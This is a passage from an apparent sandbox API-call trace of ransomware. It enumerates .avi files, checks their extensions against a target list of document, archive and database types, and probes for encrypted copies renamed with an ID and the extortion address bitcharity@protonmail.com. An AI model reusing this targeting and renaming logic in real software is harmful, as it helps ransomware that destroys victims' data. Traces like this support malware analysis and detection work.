| out: lpFileSize=0x2f8ff14*=48936) returned 1 [0139.105] CloseHandle (hObject=0x10a8) returned 1 [0139.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0139.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0139.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0139.105] lstrlenW (lpString=".doc") returned 4 [0139.106] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0139.106] lstrlenW (lpString=".docx") returned 5 [0139.106] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0139.106] lstrlenW (lpString=".pdf") returned 4 [0139.106] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0139.106] lstrlenW (lpString=".xls") returned 4 [0139.106] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0139.106] lstrlenW (lpString=".xlsx") returned 5 [0139.106] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0139.106] lstrlenW (lpString=".ppt") returned 4 [0139.106] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0139.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0139.106] lstrlenW (lpString=".zip") returned 4 [0139.106] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0139.106] lstrlenW (lpString=".rar") returned 4 [0139.106] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0139.106] lstrlenW (lpString=".bz2") returned 4 [0139.106] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0139.106] lstrlenW (lpString=".7z") returned 3 [0139.106] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0139.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0139.106] lstrlenW (lpString=".dbf") returned 4 [0139.106] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0139.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0139.106] lstrlenW (lpString=".1cd") returned 4 [0139.106] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0139.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0139.107] lstrlenW (lpString=".jpg") returned 4 [0139.107] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0139.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0139.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0139.107] lstrlenW (lpString=".doc") returned 4 [0139.107] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0139.107] lstrlenW (lpString=".docx") returned 5 [0139.107] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0139.107] lstrlenW (lpString=".pdf") returned 4 [0139.107] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0139.107] lstrlenW (lpString=".xls") returned 4 [0139.107] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0139.107] lstrlenW (lpString=".xlsx") returned 5 [0139.107] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0139.107] lstrlenW (lpString=".ppt") returned 4 [0139.107] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0139.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0139.107] lstrlenW (lpString=".zip") returned 4 [0139.107] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0139.107] lstrlenW (lpString=".rar") returned 4 [0139.107] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0139.107] lstrlenW (lpString=".bz2") returned 4 [0139.107] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0139.107] lstrlenW (lpString=".7z") returned 3 [0139.107] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0139.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0139.108] lstrlenW (lpString=".dbf") returned 4 [0139.108] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0139.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0139.108] lstrlenW (lpString=".1cd") returned 4 [0139.108] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0139.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0139.108] lstrlenW (lpString=".jpg") returned 4 [0139.108] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0139.108] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0139.108] lstrlenW (lpString="boxed-join.avi") returned 14 [0139.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0139.136] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=46622) returned 1 [0139.136] CloseHandle (hObject=0x10c0) returned 1 [0139.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0139.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0139.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0139.136] lstrlenW (lpString=".doc") returned 4 [0139.136] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0139.136] lstrlenW (lpString=".docx") returned 5 [0139.136] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0139.136] lstrlenW (lpString=".pdf") returned 4 [0139.136] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0139.136] lstrlenW (lpString=".xls") returned 4 [0139.137] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0139.137] lstrlenW (lpString=".xlsx") returned 5 [0139.137] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0139.137] lstrlenW (lpString=".ppt") returned 4 [0139.137] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0139.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0139.137] lstrlenW (lpString=".zip") returned 4 [0139.137] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0139.137] lstrlenW (lpString=".rar") returned 4 [0139.137] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0139.137] lstrlenW (lpString=".bz2") returned 4 [0139.137] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0139.137] lstrlenW (lpString=".7z") returned 3 [0139.137] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0139.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0139.137] lstrlenW (lpString=".dbf") returned 4 [0139.137] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0139.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0139.137] lstrlenW (lpString=".1cd") returned 4 [0139.137] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0139.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0139.137] lstrlenW (lpString=".jpg") returned 4 [0139.137] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0139.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0139.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0139.137] lstrlenW (lpString=".doc") returned 4 [0139.137] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0139.137] lstrlenW (lpString=".docx") returned 5 [0139.137] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0139.137] lstrlenW (lpString=".pdf") returned 4 [0139.137] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0139.137] lstrlenW (lpString=".xls") returned 4 [0139.137] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0139.137] lstrlenW (lpString=".xlsx") returned 5 [0139.137] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0139.137] lstrlenW (lpString=".ppt") returned 4 [0139.137] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0139.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0139.137] lstrlenW (lpString=".zip") returned 4 [0139.137] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0139.138] lstrlenW (lpString=".rar") returned 4 [0139.138] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0139.138] lstrlenW (lpString=".bz2") returned 4 [0139.138] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0139.138] lstrlenW (lpString=".7z") returned 3 [0139.138] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0139.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0139.138] lstrlenW (lpString=".dbf") returned 4 [0139.138] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0139.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0139.138] lstrlenW (lpString=".1cd") returned 4 [0139.138] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0139.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0139.138] lstrlenW (lpString=".jpg") returned 4 [0139.138] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0139.138] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0139.138] lstrlenW (lpString="boxed-split.avi") returned 15 [0139.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0139.138] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=84190) returned 1 [0139.138] CloseHandle (hObject=0x10c0) returned 1 [0139.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0139.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0139.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0139.139] lstrlenW (lpString=".doc") returned 4 [0139.139] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0139.139] lstrlenW (lpString=".docx") returned 5 [0139.139] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0139.139] lstrlenW (lpString=".pdf") returned 4 [0139.139] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0139.139] lstrlenW (lpString=".xls") returned 4 [0139.139] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0139.139] lstrlenW (lpString=".xlsx") returned 5 [0139.139] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0139.139] lstrlenW (lpString=".ppt") returned 4 [0139.139] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0139.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0139.139] lstrlenW (lpString=".zip") returned 4 [0139.139] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0139.139] lstrlenW (lpString=".rar") returned 4 [0139.139] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0139.139] lstrlenW (lpString=".bz2") returned 4 [0139.139] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0139.139] lstrlenW (lpString=".7z") returned 3 [0139.139] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0139.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0139.139] lstrlenW (lpString=".dbf") returned 4 [0139.139] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0139.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0139.139] lstrlenW (lpString=".1cd") returned 4 [0139.139] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0139.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0139.139] lstrlenW (lpString=".jpg") returned 4 [0139.139] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0139.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0139.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0139.139] lstrlenW (lpString=".doc") returned 4 [0139.139] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0139.139] lstrlenW (lpString=".docx") returned 5 [0139.139] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0139.140] lstrlenW (lpString=".pdf") returned 4 [0139.140] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0139.140] lstrlenW (lpString=".xls") returned 4 [0139.140] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0139.140] lstrlenW (lpString=".xlsx") returned 5 [0139.140] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0139.140] lstrlenW (lpString=".ppt") returned 4 [0139.140] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0139.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0139.140] lstrlenW (lpString=".zip") returned 4 [0139.140] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0139.140] lstrlenW (lpString=".rar") returned 4 [0139.140] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0139.140] lstrlenW (lpString=".bz2") returned 4 [0139.140] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0139.140] lstrlenW (lpString=".7z") returned 3 [0139.140] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0139.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0139.140] lstrlenW (lpString=".dbf") returned 4 [0139.140] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0139.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0139.140] lstrlenW (lpString=".1cd") returned 4 [0139.140] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0139.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0139.140] lstrlenW (lpString=".jpg") returned 4 [0139.140] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0139.140] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0139.140] lstrlenW (lpString="correct.avi") returned 11 [0139.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0139.141] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=180172) returned 1 [0139.141] CloseHandle (hObject=0x10c0) returned 1 [0139.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0139.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0139.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0139.141] lstrlenW (lpString=".doc") returned 4 [0139.141] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0139.141] lstrlenW (lpString=".docx") returned 5 [0139.141] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0139.141] lstrlenW (lpString=".pdf") returned 4 [0139.141] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0139.141] lstrlenW (lpString=".xls") returned 4 [0139.141] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0139.141] lstrlenW (lpString=".xlsx") returned 5 [0139.141] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0139.141] lstrlenW (lpString=".ppt") returned 4 [0139.141] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0139.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0139.141] lstrlenW (lpString=".zip") returned 4 [0139.141] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0139.141] lstrlenW (lpString=".rar") returned 4 [0139.141] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0139.141] lstrlenW (lpString=".bz2") returned 4 [0139.141] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0139.141] lstrlenW (lpString=".7z") returned 3 [0139.141] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0139.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0139.142] lstrlenW (lpString=".dbf") returned 4 [0139.142] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0139.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0139.142] lstrlenW (lpString=".1cd") returned 4 [0139.142] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0139.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0139.142] lstrlenW (lpString=".jpg") returned 4 [0139.142] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0139.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0139.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0139.142] lstrlenW (lpString=".doc") returned 4 [0139.142] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0139.142] lstrlenW (lpString=".docx") returned 5 [0139.142] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0139.142] lstrlenW (lpString=".pdf") returned 4 [0139.142] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0139.142] lstrlenW (lpString=".xls") returned 4 [0139.142] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0139.142] lstrlenW (lpString=".xlsx") returned 5 [0139.142] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0139.142] lstrlenW (lpString=".ppt") returned 4 [0139.142] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0139.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0139.142] lstrlenW (lpString=".zip") returned 4 [0139.142] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0139.142] lstrlenW (lpString=".rar") returned 4 [0139.142] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0139.142] lstrlenW (lpString=".bz2") returned 4 [0139.142] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0139.142] lstrlenW (lpString=".7z") returned 3 [0139.142] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0139.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0139.142] lstrlenW (lpString=".dbf") returned 4 [0139.142] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0139.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0139.142] lstrlenW (lpString=".1cd") returned 4 [0139.142] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0139.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0139.142] lstrlenW (lpString=".jpg") returned 4 [0139.142] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0139.143] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0139.143] lstrlenW (lpString="delete.avi") returned 10 [0139.143] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0139.143] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=208408) returned 1 [0139.143] CloseHandle (hObject=0x10c0) returned 1 [0139.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0139.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.143] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0139.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0139.144] lstrlenW (lpString=".doc") returned 4 [0139.144] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0139.144] lstrlenW (lpString=".docx") returned 5 [0139.144] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0139.144] lstrlenW (lpString=".pdf") returned 4 [0139.144] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0139.144] lstrlenW (lpString=".xls") returned 4 [0139.144] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0139.144] lstrlenW (lpString=".xlsx") returned 5 [0139.144] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0139.144] lstrlenW (lpString=".ppt") returned 4 [0139.144] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0139.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0139.144] lstrlenW (lpString=".zip") returned 4 [0139.144] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0139.144] lstrlenW (lpString=".rar") returned 4 [0139.144] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0139.144] lstrlenW (lpString=".bz2") returned 4 [0139.144] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0139.144] lstrlenW (lpString=".7z") returned 3 [0139.144] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0139.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0139.144] lstrlenW (lpString=".dbf") returned 4 [0139.144] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0139.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0139.144] lstrlenW (lpString=".1cd") returned 4 [0139.144] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0139.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0139.144] lstrlenW (lpString=".jpg") returned 4 [0139.144] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0139.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 